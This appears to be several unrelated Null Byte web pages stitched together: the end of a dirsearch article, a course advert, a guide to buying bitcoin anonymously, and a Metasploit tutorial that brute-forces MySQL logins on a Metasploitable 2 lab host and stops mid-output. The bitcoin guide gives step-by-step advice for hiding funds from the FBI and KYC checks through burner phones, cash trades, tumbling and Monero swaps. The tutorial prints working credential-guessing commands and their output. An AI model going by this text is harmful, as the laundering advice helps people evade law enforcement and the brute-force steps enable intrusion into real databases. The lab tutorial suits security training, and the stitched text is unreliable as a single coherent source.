Task CompletedWrapping UpToday, we learned about dirsearch, a powerful brute-force web directory scanner, and some of the advantages it has over other similar tools. We installed dirsearch on our system and set up a symbolic link to allow us to run it from anywhere. We then went over some basic usage examples and showcased the power of the tool's recursive scanning function. In the end, dirsearch makes it easy to discover hidden directories and files when scanning a website.Don't Miss:Use Websploit to Scan Websites for Hidden DirectoriesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPixabay/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Use Websploit to Scan Websites for Hidden DirectoriesHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Hack Like a Pro:How to Find Directories in Websites Using DirBusterHow To:Scan Websites for Interesting Directories & Files with GobusterHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Exploit PHP File Inclusion in Web AppsHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Abusing DNS for ReconnaissanceHack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHow To:Bind Dendroid Apk with Another ApkHow To:HID Keyboard Attack with Android (Not Kali NetHunter)How To:Auto-Hide the Navigation Bar on Your Galaxy S10 — No Root NeededHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyHow To:Discover Hidden HTTP Parameters to Find Weaknesses in Web AppsHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHow To:Crack Any Game by Pop CapNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:First Steps of Compiling a Program in LinuxSecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Start With Site Setting For Snoft Article Directory ScriptEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNews:Blog search directoryGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Contest:Code the Best Hacking Tool, Win Bragging RightsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingAtomic Web:The BEST Web Browser for iOS DevicesHow To:Use I2P to Host and Share Your Secret Goods on the Dark Web—AnonymouslyGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Make Your Laptop Theft ProofHow To:Download and Install the Minecraft 1.8 Pre-Release |
This Top-Rated Audio & Video Production Bundle Is on Sale for $40 « Null Byte :: WonderHowTo | Long gone are the days when you needed a fancy recording contract to write and distribute a smash hit. Thanks to a growing number of increasingly powerful and affordable music production platforms, it's now entirely possible to create pro-level audio tracks and even accompanying videos in the comfort of your own home with little more than a laptop and a pair of headphones.TheProfessional Video & Audio Production Bundlewill help you take your media production skills to the next level so you can compete with the best in the business, and it's available today for over 95% off at just $39.99.With six courses and 11 hours of content, this training package will teach you how to create, edit, and produce dynamic audio and video in a variety of popular mediums.If you're primarily interested in audio recording, start with the top-rated Audio Production Course, which walks you through the various ways in which you can professionally record and edit audio using standard onboard plug-ins and tools.From there, you'll be able to move on to more advanced mixing and processing tutorials that will teach you how to make your tracks ready for distribution across multiple platforms like Spotify and iTunes.There's also plenty of instruction that focuses on video production techniques that can be used to create stunning clips for livestreams, music videos, YouTube channels, and much more.You'll have unlimited access to all of the content in the bundle for life, and your instructor Tomas George has years of experience working with a variety of audio and video platforms while teaching the tricks of the trade.Learn how to record, edit, and distribute audio and video like a pro with help from the Professional Video & Audio Production Bundle while it's available forjust $39.99— over 95% off its usual price for a limited time.Prices are subject to change.Awesome Deal:The Professional Video & Audio Production Bundle for Just $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become a Video & Audio Production Guru for Under $40How To:Streamline Your App & Game Development with AppGameKitHow To:Boost Your Sales Skills & Close More Deals with This Ultimate Sales Master ClassHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Learn to Draw Like a Pro for Under $40Deal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Learn to Code Your Own Games with This Hands-on BundleHow To:Get 90% Off This Software Bundle Which Will Turn You into a PC Power UserHow To:Build Games for Under $40 with This Developer's BundleHow To:Make Your New Year's Resolution to Master Azure with This BundleHow To:Optimize Your Apple Computer with 1,200 Features for Under $40How To:Go from Total Beginner to Cloud Computing Certified with This Top-Rated Bundle of Courses, Now 98% OffHow To:This Extensive Python Training Is Under $40 TodayHow To:Master Linux, Python & Math with This $40 BundleHow To:Upgrade Your Work-from-Home Setup with These Accessory DealsHow To:Become a Productivity Master with Google Apps ScriptNews:The Best Black Friday 2018 Deals on Headphones for Your SmartphoneHow To:10 Coding, SEO & More Courses on Sale Right Now That Will Turn You into a Pro DeveloperHow To:Learn How to Play the Market with This Data-Driven Trading BundleNews:The True Cost of Streaming Cable (It's Not as Cheap as You Think)How To:Learn to Code for Less Than $40How To:Become a Certified Project Management Pro from Home for Less Than $50How To:Break into Game Development with This $40 BundleHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleHow To:Easily Become an AWS Certified Cloud Practitioner with This All-in-One BundleHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Learn to Create Your Own Apple Apps for the App Store with This SwiftUI Course BundleHow To:Learn Java, C#, Python, Redux & More with This $40 BundleNews:All the Best Black Friday 2019 Deals on Smartphone AccessoriesNews:Android Reaches 10 Billion Downloads; Celebrate with Minecraft for $0.10!News:The Humble Bundle Strikes Again with a "Frozen" ThemeNews:April NPD Video Game SalesLiveOps:High Paying Home Call OperatorAfterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-OrdersNews:Network Admin? You Might Become a Criminal SoonNews:Indie Game Music Bundle (Including Minecraft) |
How to Buy Bitcoin Anonymously — A Guide to Investing in Cryptocurrency While Maintaining Privacy « Null Byte :: WonderHowTo | Just like cash, bitcoin is used for everything from regular day-to-day business to criminal activities. However, unlike physical cash, the blockchain is permanent and immutable, which means anyone from a teen to the US government can follow every single transaction you make without you even knowing about it. However, there are ways to add layers of anonymity to your bitcoin transactions.Anonymity may seem frivolous to some of you, but bitcoin anonymity is valuable for many reasons, some legitimate and others not so much.On a personal level, you may not want your friends and family to realize just how much you're investing in cryptocurrency. On a business level, you need asset protection. Bitcoin is particularly valuable and volatile making it a prime target for hackers and scammers and good ol' lawsuits. But, if no one realizes that you have all this bitcoin, then they won't come after it.Another value of anonymity is the ability to keep your name out of sensitive transactions. Whether that be because you're a businessman handling a delicate merger, some sort of freedom fighter, or a cybercriminal.The handful of criminals using bitcoin is the reason you have to verify your identity to buy any in the first place. Counterterrorism and anti-money laundering laws, commonly referred to as "know your customer" (KYC), require businesses to attempt to verify the identity of a client and assess their potential risk of illegal activities. This makes it more difficult but not impossible to buy bitcoin anonymously.Don't Miss:Buy & Sell Bitcoin, Bitcoin Cash, Ethereum & Litecoin on CoinbaseWeigh Your Risk & NeedsTo begin with, you need to weigh just how much risk you're at and what your needs are. No matter how many precautions you take and layers of anonymity you add, if you paint a big enough target on your back, someone's going to hit you eventually. If you don't believe me, just watch this TED talk by federal prosecutor Kathryn Haun on how she helped bring down two other federal investigators and the administrator ofThe Silk Road.They are evenstartups popping upwith the sole intention of tracking down cryptocurrency transactions. So anyone hoping to use bitcoin 100% truly anonymous is out of luck. That being said, anonymity can be viewed as more of a sliding scale. The amount of anonymity you need to be a darknet market admin is vastly different from the amount of anonymity you need to buy anAntminer.On top of that, anonymity comes at a price. On the conservative side, buying bitcoin anonymously can quickly add an extra 5–10% cost. Possibly, even more, depending on how many layers of obfuscation you add. So set your ego aside and ask yourself, "How do I intend to use this cryptocurrency, and what risk does that put me at?" Then, combine as many of the options we're about to discuss as your risk dictates and budget allows.To begin, I'm going to assume that you're already usingTorover a VPN. If you're not, then you really should be. Additionally, always use a new wallet address for every transaction and never carry your primary phone with you when doing any of the steps below. That will help hide any patterns in your buying, but it isn't foolproof.More Info:How to Fully Anonymize Kali with Tor, Whonix & PIA VPNOption 1: Buy Bitcoin with a Prepaid CardLet's start with the most natural method: using a prepaid debit or credit card and an exchange which allows you to buy without verifying your identity.This strategy is dead simple. Walk into your local convenience store andpurchase a prepaid credit card. Then, get online and register your card. The card companies don't verify the information, so you can input anything. Next, go to an exchange likeCoinmamaorVirwoxand buy some bitcoin without verifying your account.There are severe limitations to this plan, though. You can only do $150 at a time, due to those know-your-customer laws we discussed before. You can buy a prepaid card up to $500 plus $5 to buy it. However, most exchanges cap you at $150 plus fees without verifying your identity.Additionally, you have to keep in mind that you're putting yourself on a surveillance camera when you buy the card. The best way around this is just to wait 1–3 months before you use the card as most stores will have deleted the footage by then.Lastly, you're potentially creating a pattern with your purchases in the stores or on exchanges. This means that the prepaid card option isn't really practical if you're a full-blown cybercriminal with the FBI after you. But, it's good enough if you just want a little extra layer of anonymity without too much cost.Option 2: Use a Bitcoin ATMNext up is the bitcoin ATM. It's very similar to the prepaid card method with similar limitations, but usually, with a higher per transaction cap. This means you can do as much as ~$1, 000 per transaction compared to the $150 of the prepaid card method.Bitcoin ATMs work very similarly to a regular ATM. You go up, put in some money, and it's deposited into an online account. Withroughly 2,000 bitcoin ATMsin the US, they aren't nearly as universal as ordinary ATMs. You'll need to consult a map likeCoinATMradaror download an app on youriPhoneorAndroid phoneto find one near you. Many of the ATMs tend to be concentrated in big cities like Los Angeles, so if you don't live in a big city, then you might have a long drive ahead of you.Bitcoin ATMs vary by manufacturer and from operator to operator. Some may not accept cash for payment, instead, forcing you to use a credit or debit card, yet otherswilltake cash.CoinATMradarwill show some of this information on the ATM listing but you might have to do some scouting of your own. If it requires cash, withdraw the cash from an ATM as far away as posable so you don't create a pattern. Same thing if you have to buy a prepaid card as discussed in the previous step.The most significant limitation to your anonymity when using a bitcoin ATM is the fact that virtually all of them have a camera and, unlike the cameras in a convenience store, you can't assume that the pictures or video will be deleted after 1–3 months. So if you're a drug lord, this isn't the way to go unless you trust a goon to do the work for you.I recommend you watch this short piece by Vice on bitcoin ATMs. It shows an example transaction and gives some good insight from both operators and manufacturers of bitcoin ATMs:Option 3: Local Peer-to-Peer TradingPrepaid cards and bitcoin ATMs work fine if the most prominent threat you're dealing with is some nosy neighbors and somemeddling kids, but if you're serious about cryptocurrency and anonymity, then the best place to start is buying bitcoin from another person in cash. This is referred to as peer-to-peer trading.How serious do you need to be about this? Well, this is themethod that criminals commonly use, and the minimum purchases are higher than the maximum investments of the previous two methods, meaning you need to be talking about thousands of dollars in bitcoin. Also, this is the most expensive as your peers will often charge several hundred dollars over spot for the service.The oldest and most popular platform for peer-to-peer trading isLocalBitcoinsalthough there are other options such asPaxfulandthe Bisq Network.These websites offer anumber of optionsfor buying bitcoin from your peers such as exchanging various types of gift cards and initiating wire transfers or cashier's checks. But, the tried-and-true method has always been and will always remain to be taking a briefcase full of cash and meeting someone. Here, you can see a few example listings on LocalBitcoins of people willing to meet and exchange cash for bitcoin in the Los Angeles area (for reference, at the time, the bitcoin price was $7,495.81):The benefit of buying your bitcoin in this way is that you minimize your online footprint and the amount of personal information the seller has on you. Furthermore, you have much more control of the setting, including location and surveillance cameras. This allows you to wait out the surveillance camera footage and meet at much more random places to prevent patterns from forming.There are some precautions you need to take when performing this type of transaction. Never forget you're handling thousands or potentially hundreds of thousands of dollars in cash, so the opportunity is ripe for theft, armed robbery, and scamming. You should always meet in a busy but not crowded public place with good Wi-Fi, such as a university, library, or coffee shop. If the seller won't meet you in public, find another safe place.Next, be wary of anything that's too good to be true. Expect to pay more than what you would spend on an exchange likeCoinbase. If they're selling the bitcoin to you underpriced, be immediately suspicious.You will need to communicate with the seller somehow, so it's recommended that youuse a burner phonespecifically for the purpose. The best thing would be to leave all of your electronics at home and use a burner phone specifically for this transaction and then never again. If you want to continue working with the same seller, you can always get their number from the listing on LocalBitcoins or get a business card from them when you make the transaction, then contact them from a new burner phone in the future. Avoid giving them any information about yourself.Don't Miss:Use a Virtual Burner Phone to Protect Your Identity & SecurityOption 4: Trade for AltcoinsThe best way to use bitcoin securely is not to use bitcoin at all. Bitcoin is the granddaddy of all the coins, but since it's invention, other cryptocurrencies have come along that have a much heavier focus on anonymity and security. So if privacy and anonymity are important to you, then you should be using one of the privacy coins likeDashorMonero.Unfortunately, these altcoins aren't as familiar as bitcoin, so to get either of them, you need to use bitcoin as a kind of gateway coin. There are some Monero ATMs that exist. However, they're far from common, so the best way is to buy bitcoin as anonymously as possible using one of the three previously mentioned methods, preferably a peer-to-peer cash transaction, then exchange those bitcoins for a privacy coin such as Monero using a service likeChangelly.There are two main limitations to using this method. First, you're going to have more exchange fees as you shift from bitcoin to Monero. Second, these altcoins aren't widely accepted, so there are only a handful of places that will let you buy things with them. Often, these will be places like darknet markets, VPN services, and encrypted emails.You can, however, use these privacy coins as a way to cloak your bitcoin. You can purchase bitcoin any way you want, then shift into a privacy coin and exchange into a few different wallets, and then move it back into bitcoin, effectively hiding the original purchaser of the bitcoin. This brings us to the bonus step: tumbling.Bonus: Bitcoin TumblingTumbling is not a way to anonymously buy bitcoin. However, it is something you should always do to anonymize your bitcoin. Tumbling services attempt to anonymize your bitcoin by throwing them into a big pot of other coins and then randomly grabbing out some of the coins to give back to you. This is most effective when you do it multiple times through different providers. Most of the companies that provide these services are on .onion websites, meaning you'll need to be running Tor to find them. One on the clearnet isPrivcoin.What Does It All Mean?In simple terms, if you're trying to hide from the FBI, the NSA, or the like, your best bet is to buy bitcoin in cash from someone you find on LocalBitcoins, then tumble those bitcoins two or three times. After that, shift them into a privacy coin like Monero, then back out into bitcoin where you can anonymously use them. Even by doing all that, there's no 100% guarantee that the government can't throw enough money and zero-days at the problem to discover you if they want to.On the other hand, if you just want to add some privacy to your life, use a bitcoin ATM if one is available in your area, simple as that.Don't Miss:How to Access Bitcoin Gambling Sites from Your Phone — Even if They Ban Your CountryIf you have any questions, you can ask here or on Twitter@The_Hoid.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo bySharon Hahn Darlin/Flickr; Screenshots by Hoid/Null ByteRelatedCoinbase 101:How to Buy & Sell Bitcoin, Bitcoin Cash, Ethereum & LitecoinCoinbase 101:Fees & Fine Print You Need to Know Before Trading Bitcoins & Other CryptocurrenciesCoinbase 101:How to Send & Receive Bitcoins & Other CryptocurrenciesCoinbase 101:How to Enable Price Alerts to Buy or Sell at the Perfect TimeNews:Bitcoin Cash Is Now Available on CoinbaseNews:Now You Can Track the Bitcoin Mania Bubble in Augmented RealityBinance 101:How to Deposit & Withdraw Bitcoins & Other CryptocurrenciesHow To:The Best Bitcoin Wallet Apps for Your Android DeviceCryptocurrency for the Hacker:Part 3 (Why It May Be a Bad Idea for You)How To:Cryptocurrency for the Hackers : Part 1 (Introduction)How To:Inside Bitcoin - Part 1 - Bitcoin and AnonymityBinance 101:How to Install the Mobile App on Your iPhoneHow To:Binance Trading Pairs Help You Keep Track of Your Favorite Coins' ValuesHow To:Access Bitcoin Gambling Sites from Your Phone — Even if They Ban Your CountryHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Surf the web anonymously using TOR and PrivoxyCryptocurrency for the Hacker:Part 2 (Currency for Hackers)Binance 101:How to View Your Transaction HistoryCoinbase 101:How to Add a PayPal Account to Get Your Cash FasterBinance 101:How to Buy Ripple, TRON & Other Alt-Coins Using Bitcoin & EthereumHow To:Transfer Bitcoin, Ether & More from Coinbase to BinanceHow To:Stop Panic Selling & Impulse Buys by Hoarding Your Cryptocurrency in Coinbase's VaultsBinance 101:Fees & Fine Print You Need to Know Before Trading Bitcoins & Other CryptocurrenciesCoinbase 101:How to Refer Friends & Family to Earn BonusesHow To:This 10-Course Blockchain & Ethereum Training Is Just $29 TodayBinance 101:Sell Your Stellar, Ripple & Other Alt-Coins for Bitcoin or EthereumHow To:The White Hat's Guide to Choosing a Virtual Private ServerDeal Alert:Learn the Stock Market Inside & Out for Under 30 BucksHow To:Import Private Keys to Bitcoin Wallet (Windows)How To:Browse the Internet anonymouslyNews:Inside Bitcoin - Part 2 - Cryptographic HashesHow To:Access the Dark Web While Staying Anonymous with TorHow To:Mine Bitcoin and Make MoneyHow To:MIT's Guide To Picking Locks via Zine LibraryNews:Day 2 Of Our New WorldHow To:Securely & Anonymously Spend Money OnlineHow To:EFF's guide to ebook privacyNews:Facebook Privacy SettingsNews:Viva Africa! "Wavin Flag" - World Cup 2010Lockdown:The InfoSecurity Guide to Securing Your Computer, Part II |
How to Enumerate MySQL Databases with Metasploit « Null Byte :: WonderHowTo | It's been said time and time again:reconnaissanceis perhaps the most critical phase of an attack. It's especially important when preparing an attack against a database since one wrong move can destroy every last bit of data, which usually isn't the desired outcome.Metasploitcontains a variety of modules that can be used to enumerate MySQL databases, making it easy to gather valuable information.What Information Is Valuable to an Attacker?To a skilled hacker, almost any data can be important when it comes to preparing an attack. When we think ofSQLfrom this perspective, a lot of times our minds go right toSQL injection, but gathering information about the database itself can sometimes be just as important.Don't Miss:Use SQL Injection to Run OS Commands & Get a ShellThings to look for when enumerating a database include the version, as sometimes a successful attack can be as easy as finding an exploit for an outdated version. Other things to look for are valid credentials, which can not only be used for the database, but often can be used for other applications or systems (password reuse is a real thing, and a real problem for organizations). Lastly, information about the structure of the database can be extremely useful for performingSQL injectionsince knowing what's there is often half the battle.Today, we will be usingMetasploitto enumerate some of this information on a MySQL database. We'll be attackingMetasploitable 2via ourKali Linuxbox.Step 1: Perform the Nmap ScanThe first thing we need to do is determine ifMySQLis running on the target. Since we know it runs on port 3306 by default, we can useNmapto scan the host:~# nmap 10.10.0.50 -p 3306
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-21 08:09 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00073s latency).
PORT STATE SERVICE
3306/tcp open mysql
MAC Address: 00:1D:09:55:B1:3B (Dell)
Nmap done: 1 IP address (1 host up) scanned in 0.14 secondsAnd we can see,MySQLis indeed running and the port is open. Remember to use the correct IP address of the target.Step 2: Get the Login InfoNow that we are certain MySQL is open on the target, we can get into enumeration to gather as much information as possible for reconnaissance. To begin, fire upMetasploitby typingmsfconsolein the terminal.~# msfconsoleWe can then search for any modules relating to MySQL by using thesearchcommand:msf5 > search mysql
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
1 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
2 auxiliary/admin/mysql/mysql_enum normal No MySQL Enumeration Module
3 auxiliary/admin/mysql/mysql_sql normal No MySQL SQL Generic Query
4 auxiliary/admin/tikiwiki/tikidblib 2006-11-01 normal No TikiWiki Information Disclosure
5 auxiliary/analyze/jtr_mysql_fast normal No John the Ripper MySQL Password Cracker (Fast Mode)
6 auxiliary/gather/joomla_weblinks_sqli 2014-03-02 normal Yes Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
7 auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal Yes MySQL Authentication Bypass Password Dump
8 auxiliary/scanner/mysql/mysql_file_enum normal Yes MYSQL File/Directory Enumerator
9 auxiliary/scanner/mysql/mysql_hashdump normal Yes MYSQL Password Hashdump
10 auxiliary/scanner/mysql/mysql_login normal Yes MySQL Login Utility
11 auxiliary/scanner/mysql/mysql_schemadump normal Yes MYSQL Schema Dump
12 auxiliary/scanner/mysql/mysql_version normal Yes MySQL Server Version Enumeration
13 auxiliary/scanner/mysql/mysql_writable_dirs normal Yes MYSQL Directory Write Test
14 auxiliary/server/capture/mysql normal No Authentication Capture: MySQL
15 exploit/linux/mysql/mysql_yassl_getname 2010-01-25 good No MySQL yaSSL CertDecoder::GetName Buffer Overflow
16 exploit/linux/mysql/mysql_yassl_hello 2008-01-04 good No MySQL yaSSL SSL Hello Message Buffer Overflow
17 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
18 exploit/multi/http/zpanel_information_disclosure_rce 2014-01-30 excellent No Zpanel Remote Unauthenticated RCE
19 exploit/multi/mysql/mysql_udf_payload 2009-01-16 excellent No Oracle MySQL UDF Payload Execution
20 exploit/unix/webapp/kimai_sqli 2013-05-21 average Yes Kimai v0.9.2 'db_restore.php' SQL Injection
21 exploit/unix/webapp/wp_google_document_embedder_exec 2013-01-03 normal Yes WordPress Plugin Google Document Embedder Arbitrary File Disclosure
22 exploit/windows/mysql/mysql_mof 2012-12-01 excellent Yes Oracle MySQL for Microsoft Windows MOF Execution
23 exploit/windows/mysql/mysql_start_up 2012-12-01 excellent Yes Oracle MySQL for Microsoft Windows FILE Privilege Abuse
24 exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average No MySQL yaSSL SSL Hello Message Buffer Overflow
25 exploit/windows/mysql/scrutinizer_upload_exec 2012-07-27 excellent Yes Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
26 post/linux/gather/enum_configs normal No Linux Gather Configurations
27 post/linux/gather/enum_users_history normal No Linux Gather User History
28 post/multi/manage/dbvis_add_db_admin normal No Multi Manage DbVisualizer Add Db AdminThere's a lot here, but mostly we are concerned with some of the auxiliary scanners for now. The first one we'll look at is themysql_loginmodule, which will find some valid credentials for the MySQL service. Load it up with theusecommand:msf5 > use auxiliary/scanner/mysql/mysql_loginNow, we can take a look at the current settings using theoptionscommand:msf5 auxiliary(scanner/mysql/mysql_login) > options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attemptsFirst, let's create a text file containing a list ofpossible usernames. We'll keep it short for demonstration purposes, but longer, publicly available lists can also be used. We'll call itusers.txt:msf5 auxiliary(scanner/mysql/mysql_login) > nano users.txt
[*] exec: nano users.txtNow let's add a few common potential usernames:root
admin
guest
user
mysqlSave the file, then we'll do thesame thing for passwords:msf5 auxiliary(scanner/mysql/mysql_login) > nano passwords.txt
[*] exec: nano passwords.txtAgain, feel free to use longerpassword lists, but just know the module will take longer to complete. For now, we'll throw in a few common passwords:password
mysql
root
adminThen, we can set the file to read the usernames from:msf5 auxiliary(scanner/mysql/mysql_login) > set user_file users.txt
user_file => users.txtAnd do the same for the passwords file:msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file passwords.txt
pass_file => passwords.txtMySQL can also allow logins with a blank password, so it's wise to check for that as well. Set the option totrueto check for blank passwords:msf5 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true
blank_passwords => trueThe last thing we need to do is set the IP address of our target. We can use thesetgcommand here to set the option globally since all of our scans will run on the same host:msf5 auxiliary(scanner/mysql/mysql_login) > setg rhosts 10.10.0.50
rhosts => 10.10.0.50Finally, typerunto kick it off:msf5 auxiliary(scanner/mysql/mysql_login) > run
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Found remote MySQL version 5.0.51a
[!] 10.10.0.50:3306 - No active DB -- Credential data will not be saved!
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Success: 'root:'
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:password (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:mysql (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:root (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Success: 'guest:'
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user: (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:password (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:mysql (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:root (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql: (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:password (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:mysql (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:root (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:admin (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[*] 10.10.0.50:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see that it tries all the possible combinations of usernames and passwords we gave it, and it found a couple of valid logins in the process. It looks like bothguestandrootare valid logins using blank passwords, which will be good to know for the upcoming modules.Step 3: Run the MySQL EnumeratorThe next module we'll look at will automatically enumerate various information about the MySQL database, including the version number,server information, data directory, and several other options that can be configured in MySQL.To get started, load themysql_enummodule:msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_enumNext, we can take a look at the options this module has to offer:msf5 auxiliary(admin/mysql/mysql_enum) > options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
USERNAME no The username to authenticate asThe port number is set by default, and since we previously used the global option to set the IP address, the only thing we need to set here is the username. We know from the previous step that this instance of MySQL allowsrootto login with a blank password, so we can set that option globally now:msf5 auxiliary(admin/mysql/mysql_enum) > setg username root
username => rootThe only thing left to do is to launch the module:msf5 auxiliary(admin/mysql/mysql_enum) > run
[*] Running module against 10.10.0.50
[*] 10.10.0.50:3306 - Running MySQL Enumerator...
[*] 10.10.0.50:3306 - Enumerating Parameters
[*] 10.10.0.50:3306 - MySQL Version: 5.0.51a-3ubuntu5
